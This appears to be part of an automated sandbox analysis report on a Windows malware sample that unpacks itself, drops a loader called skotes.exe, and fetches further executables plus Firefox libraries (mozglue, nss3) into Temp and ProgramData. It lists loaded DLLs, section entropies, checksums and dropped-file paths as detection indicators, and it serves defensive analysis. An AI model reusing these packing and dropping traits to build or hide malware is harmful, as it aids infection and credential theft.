Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2952704 > 1048576

Source: file.exe

Static PE information: Raw size of nftwithx is bigger than: 0x100000 < 0x29f200

Source:	Binary string: mozglue.pdbP source: ba324316e4.exe, 00000012.00000002.3525210722.000000006CE4D000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: nss3.pdb@ source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: nss3.pdb source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: mozglue.pdb source: ba324316e4.exe, 00000012.00000002.3525210722.000000006CE4D000.00000002.00000001.01000000.0000001B.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.e00000.0.unpack :EW;.rsrc:W;.idata :W;nftwithx:EW;gffxtmqw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nftwithx:EW;gffxtmqw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 4.2.skotes.exe.9d0000.0.unpack :EW;.rsrc:W;.idata :W;nftwithx:EW;gffxtmqw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nftwithx:EW;gffxtmqw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.9d0000.0.unpack :EW;.rsrc:W;.idata :W;nftwithx:EW;gffxtmqw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nftwithx:EW;gffxtmqw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Unpacked PE file: 18.2.ba324316e4.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;szaazyea:EW;jswuitsr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;szaazyea:EW;jswuitsr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Unpacked PE file: 20.2.90c05232da.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;avxzjrga:EW;vgfnourc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;avxzjrga:EW;vgfnourc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Unpacked PE file: 37.2.ba324316e4.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;szaazyea:EW;jswuitsr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;szaazyea:EW;jswuitsr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Unpacked PE file: 39.2.258e650b63.exe.890000.0.unpack :EW;.rsrc:W;.idata :W;rogrptwg:EW;cpllbfsp:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.14.dr	Static PE information: real checksum: 0x1c3a12 should be: 0x1bdcab
Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: real checksum: 0x2b52b1 should be: 0x2af527
Source: 258e650b63.exe.14.dr	Static PE information: real checksum: 0x2b52b1 should be: 0x2af527
Source: 90c05232da.exe.14.dr	Static PE information: real checksum: 0x1d90b2 should be: 0x1d2192
Source: random[1].exe2.14.dr	Static PE information: real checksum: 0x1d90b2 should be: 0x1d2192
Source: random[1].exe1.14.dr	Static PE information: real checksum: 0x2b52b1 should be: 0x2af527
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: real checksum: 0x1c3a12 should be: 0x1bdcab
Source: file.exe	Static PE information: real checksum: 0x2d750e should be: 0x2ddb81
Source: ba324316e4.exe.14.dr	Static PE information: real checksum: 0x1c3a12 should be: 0x1bdcab
Source: skotes.exe.1.dr	Static PE information: real checksum: 0x2d750e should be: 0x2ddb81

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: nftwithx
Source: file.exe	Static PE information: section name: gffxtmqw
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name: nftwithx
Source: skotes.exe.1.dr	Static PE information: section name: gffxtmqw
Source: skotes.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe.14.dr	Static PE information: section name:
Source: random[1].exe.14.dr	Static PE information: section name: .idata
Source: random[1].exe.14.dr	Static PE information: section name:
Source: random[1].exe.14.dr	Static PE information: section name: szaazyea
Source: random[1].exe.14.dr	Static PE information: section name: jswuitsr
Source: random[1].exe.14.dr	Static PE information: section name: .taggant
Source: ba324316e4.exe.14.dr	Static PE information: section name:
Source: ba324316e4.exe.14.dr	Static PE information: section name: .idata
Source: ba324316e4.exe.14.dr	Static PE information: section name:
Source: ba324316e4.exe.14.dr	Static PE information: section name: szaazyea
Source: ba324316e4.exe.14.dr	Static PE information: section name: jswuitsr
Source: ba324316e4.exe.14.dr	Static PE information: section name: .taggant
Source: random[1].exe1.14.dr	Static PE information: section name:
Source: random[1].exe1.14.dr	Static PE information: section name: .idata
Source: random[1].exe1.14.dr	Static PE information: section name: rogrptwg
Source: random[1].exe1.14.dr	Static PE information: section name: cpllbfsp
Source: random[1].exe1.14.dr	Static PE information: section name: .taggant
Source: 258e650b63.exe.14.dr	Static PE information: section name:
Source: 258e650b63.exe.14.dr	Static PE information: section name: .idata
Source: 258e650b63.exe.14.dr	Static PE information: section name: rogrptwg
Source: 258e650b63.exe.14.dr	Static PE information: section name: cpllbfsp
Source: 258e650b63.exe.14.dr	Static PE information: section name: .taggant
Source: random[1].exe2.14.dr	Static PE information: section name:
Source: random[1].exe2.14.dr	Static PE information: section name: .idata
Source: random[1].exe2.14.dr	Static PE information: section name:
Source: random[1].exe2.14.dr	Static PE information: section name: avxzjrga
Source: random[1].exe2.14.dr	Static PE information: section name: vgfnourc
Source: random[1].exe2.14.dr	Static PE information: section name: .taggant
Source: 90c05232da.exe.14.dr	Static PE information: section name:
Source: 90c05232da.exe.14.dr	Static PE information: section name: .idata
Source: 90c05232da.exe.14.dr	Static PE information: section name:
Source: 90c05232da.exe.14.dr	Static PE information: section name: avxzjrga
Source: 90c05232da.exe.14.dr	Static PE information: section name: vgfnourc
Source: 90c05232da.exe.14.dr	Static PE information: section name: .taggant
Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: section name:
Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: section name: .idata
Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: section name: rogrptwg
Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: section name: cpllbfsp
Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: section name: .taggant
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name:
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name: .idata
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name:
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name: szaazyea
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name: jswuitsr
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name: .taggant
Source: freebl3.dll.18.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.18.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.18.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.18.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.18.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.18.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E1D91C push ecx; ret	1_2_00E1D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E11359 push es; ret	1_2_00E1135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_009ED91C push ecx; ret	4_2_009ED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009ED91C push ecx; ret	5_2_009ED92F
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_05685979 push ecx; iretd	17_3_05685985
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_05684EDB pushad ; retf	17_3_05684EDC
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_05684EDB pushad ; retf	17_3_05684EDC
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_05684EDB pushad ; retf	17_3_05684EDC
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_05684EDB pushad ; retf	17_3_05684EDC
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_05684EDB pushad ; retf	17_3_05684EDC
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_05684EDB pushad ; retf	17_3_05684EDC
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1F80 pushad ; ret	17_3_008B1F9A
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1F80 pushad ; ret	17_3_008B1F9A
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1F80 pushad ; ret	17_3_008B1F9A
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1F80 pushad ; ret	17_3_008B1F9A
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1F80 pushad ; ret	17_3_008B1F9A
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1F80 pushad ; ret	17_3_008B1F9A
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1FA7 push 5E0083E9h; ret	17_3_008B1FB1
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1FA7 push 5E0083E9h; ret	17_3_008B1FB1
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1FA7 push 5E0083E9h; ret	17_3_008B1FB1
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1FA7 push 5E0083E9h; ret	17_3_008B1FB1
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1FA7 push 5E0083E9h; ret	17_3_008B1FB1
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008B1FA7 push 5E0083E9h; ret	17_3_008B1FB1
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008AA639 push edi; retf	17_3_008AA63A
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008AA639 push edi; retf	17_3_008AA63A
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008A9631 push ecx; retf	17_3_008A9632
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008A9631 push ecx; retf	17_3_008A9632
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008AAEEF push E00089CFh; iretd	17_3_008AAEF9
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008AAEEF push E00089CFh; iretd	17_3_008AAEF9
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008AAF71 push esi; ret	17_3_008AAF72
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Code function: 17_3_008AAF71 push esi; ret	17_3_008AAF72

Source: file.exe	Static PE information: section name: entropy: 7.983855752557827
Source: skotes.exe.1.dr	Static PE information: section name: entropy: 7.983855752557827
Source: random[1].exe.14.dr	Static PE information: section name: szaazyea entropy: 7.954645182762848
Source: ba324316e4.exe.14.dr	Static PE information: section name: szaazyea entropy: 7.954645182762848
Source: random[1].exe1.14.dr	Static PE information: section name: entropy: 7.764604722621869
Source: 258e650b63.exe.14.dr	Static PE information: section name: entropy: 7.764604722621869
Source: random[1].exe2.14.dr	Static PE information: section name: entropy: 7.9796014648206
Source: random[1].exe2.14.dr	Static PE information: section name: avxzjrga entropy: 7.954101941370097
Source: 90c05232da.exe.14.dr	Static PE information: section name: entropy: 7.9796014648206
Source: 90c05232da.exe.14.dr	Static PE information: section name: avxzjrga entropy: 7.954101941370097
Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: section name: entropy: 7.764604722621869
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name: szaazyea entropy: 7.954645182762848

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File created: C:\Users\user\AppData\Local\Temp\VX0YIFPA9O6IUSKA42AUY9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016131001\8525fc48e0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016132001\b294a2fe6c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File created: C:\Users\user\AppData\Local\Temp\M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Jump to dropped file
